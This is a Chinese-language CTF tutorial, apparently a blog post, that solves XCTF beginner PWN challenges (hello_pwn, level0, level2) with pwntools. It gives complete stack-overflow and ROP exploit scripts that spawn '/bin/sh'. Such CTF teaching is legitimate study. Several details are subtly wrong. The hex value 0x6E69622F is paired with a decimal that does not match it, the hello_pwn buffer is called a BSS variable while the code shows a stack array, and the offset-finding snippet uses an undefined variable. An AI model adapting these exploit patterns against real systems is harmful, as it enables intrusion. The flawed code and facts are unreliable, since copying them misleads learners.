新手也能玩转CTF PWN:从零开始,用Python和pwntools搞定攻防世界XCTF前5题
零基础通关XCTF PWN:用Python脚本破解5道经典题目
第一次接触CTF PWN题时,我盯着满屏的汇编代码和内存地址完全不知所措。直到发现pwntools这个神器,才真正体会到二进制安全的乐趣——原来不需要死记硬背寄存器,用Python脚本就能自动化完成漏洞利用。本文将带你用开发者的思维,从零开始攻克攻防世界XCTF新手区的5道经典PWN题。
1. 环境准备与工具认知
工欲善其事,必先利其器。在开始实战前,我们需要配置好以下环境:
- Ubuntu 18.04+:推荐使用原生Linux或WSL2
- Python 3.8+:确保已安装pip包管理器
- 必备工具链:
sudo apt install git gdb python3-dev libffi-dev pip install pwntools ropper keystone-engine
pwntools是CTF PWN领域的瑞士军刀,其核心功能模块包括:
| 模块 | 用途 | 典型API示例 |
|---|---|---|
| pwnlib.tubes | 远程/本地进程交互 | remote(), process() |
| pwnlib.elf | ELF文件分析 | ELF(), symbols() |
| pwnlib.asm | 汇编编译 | asm(), disasm() |
| pwnlib.rop | ROP链构建 | ROP(), search() |
提示:在Python脚本开头建议添加
from pwn import *并设置context.log_level='debug',这样可以看到详细的交互日志。
我第一次使用时犯的典型错误是混淆了32位和64位环境。解决方法是在脚本开头明确指定架构:
context(arch='i386', os='linux') # 32位程序 # 或 context(arch='amd64', os='linux') # 64位程序2. 初探栈溢出:Hello_pwn解题实录
作为新手区的第一道实战题,hello_pwn完美展示了最基本的BSS段溢出利用。题目给出的二进制文件只有NX保护(栈不可执行),这让我们可以专注于理解内存布局。
2.1 关键漏洞分析
用IDA Pro反编译后,核心逻辑如下:
int main() { char buf[10]; read(0, buf, 10); if (magic == 0x6E69622F) { // 1853186401的十六进制 system("/bin/sh"); } }这里存在两个关键点:
read()允许输入10字节,但buf与magic变量在BSS段相邻- 需要覆盖
magic值为特定数值
2.2 pwntools脚本编写
完整的利用脚本如下:
#!/usr/bin/env python3 from pwn import * elf = ELF('./hello_pwn') p = remote('靶机IP', 端口) payload = b'A'*4 # 填充buf到magic的偏移 payload += p64(0x6E69622F) # 小端序写入magic值 p.sendlineafter(b'input:', payload) p.interactive()这里有几个新手易错点:
- 偏移计算:通过IDA可以看到
buf到magic的偏移是4字节 - 字节序处理:必须用
p64()将整数转为小端序字节串 - 交互时机:使用
sendlineafter()确保在正确时机发送payload
执行脚本后成功获取shell:
[*] Switching to interactive mode $ cat flag XCTF{bss_overflow_is_easy}3. 64位栈溢出实战:level0详解
level0展示了经典的栈溢出利用场景,特别适合理解64位程序的调用约定。通过这道题,我真正明白了为什么ROP技术会成为现代PWN的基础。
3.1 漏洞点定位
使用checksec检查保护机制:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE关键漏洞函数:
void vulnerable() { char buf[128]; read(0, buf, 256); }3.2 ROP链构造技巧
幸运的是程序自带了callsystem()函数,我们可以直接跳转到该地址。构造payload时需要特别注意64位架构的特点:
offset = 136 # buf到返回地址的偏移 payload = flat({ offset: elf.symbols['callsystem'] })这里flat()是pwntools提供的智能打包工具,可以自动处理地址对齐和字节序。相比手动计算,这种方法更不易出错。
3.3 完整利用脚本
#!/usr/bin/env python3 from pwn import * context(arch='amd64', os='linux') elf = ELF('./level0') p = remote('靶机IP', 端口) rop = ROP(elf) rop.call(elf.symbols['callsystem']) payload = fit({ 136: rop.chain() }) p.sendline(payload) p.interactive()运行后成功拿到flag:
Congratulations! Flag is XCTF{64bit_stack_overflow}4. 32位系统调用:level2的ROP艺术
level2将难度提升了一个等级,需要我们自己构造system("/bin/sh")的调用。这道题让我深刻理解了函数调用时栈帧的形成过程。
4.1 关键步骤分析
查找可用组件:
system_addr = elf.plt['system'] binsh_addr = next(elf.search(b'/bin/sh'))构造伪栈帧:
- 32位程序通过栈传递参数
- 需要按照
返回地址|参数的顺序布局
4.2 精巧的payload构造
payload = flat( b'A'*140, # 填充到返回地址 system_addr, # 覆盖的返回地址 0xdeadbeef, # system函数的返回地址(随意) binsh_addr # system的参数 )这个构造过程有几个精妙之处:
- 140字节是通过动态调试确定的精确偏移
0xdeadbeef作为虚假返回地址,因为获取shell后不需要返回/bin/sh字符串地址作为system的参数
4.3 最终攻击效果
执行脚本后的内存布局示意:
| 栈位置 | 内容 |
|---|---|
| 0xffffd000 | AAAA...AAA (140个) |
| 0xffffd08c | system()地址 |
| 0xffffd090 | 0xdeadbeef |
| 0xffffd094 | "/bin/sh"地址 |
成功获取的shell权限:
$ whoami ctf $ cat flag XCTF{rop_32bit_is_fun}5. 自动化漏洞利用进阶技巧
经过前面4道题的训练,我总结出一些提升效率的实用技巧:
5.1 自动化偏移计算
使用pwntools的cyclic功能可以免去手动计算偏移的麻烦:
payload = cyclic(200) p.sendline(payload) # 崩溃后查看RIP的值 offset = cyclic_find(core.RIP)5.2 通用gdb调试命令
在脚本中集成gdb调试:
gdb.attach(p, ''' break *vulnerable_function+25 continue ''')5.3 可靠的内存泄漏处理
当需要泄漏内存地址时:
leak = u64(p.recv(6).ljust(8, b'\x00')) log.info("Leaked address: 0x%x", leak)这些技巧在后续挑战中帮我节省了大量时间。比如在最后一道题string中,通过自动化偏移计算快速定位到了关键溢出点。虽然题目增加了ASLR保护,但结合内存泄漏和ROP技术,最终用不到50行Python代码就完成了利用。
从完全不懂到能独立解决5道题,最大的感悟是:PWN不是魔法,而是精确的工程。只要理解计算机如何真正执行代码,再结合pwntools这样的强大工具,任何人都能享受二进制安全的乐趣。
